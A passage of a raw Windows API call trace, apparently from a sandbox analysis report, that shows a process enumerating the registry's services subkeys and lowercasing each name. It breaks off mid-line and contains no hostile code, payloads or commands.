[0248.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.774] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0248.774] RegCloseKey (hKey=0x154) returned 0x0 [0248.774] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0248.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0248.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.774] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0248.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0248.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.775] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0248.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0248.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.775] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0248.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0248.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.775] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0248.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0248.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.775] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.776] RegCloseKey (hKey=0x148) returned 0x0 [0248.776] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0248.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0248.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.776] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0248.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0248.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1970, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0248.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.776] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0248.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0248.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1b68, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0248.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.776] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0248.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0248.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1970, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0248.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.777] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0248.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0248.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1b68, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0248.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.777] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0248.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0248.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1970, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0248.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.777] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0248.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0248.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.778] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0248.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0248.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.778] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0248.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0248.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.778] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0248.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0248.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.778] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0248.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0248.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1b68, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0248.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.779] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0248.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0248.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.779] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0248.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0248.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.779] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0248.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0248.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.779] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0248.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0248.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) 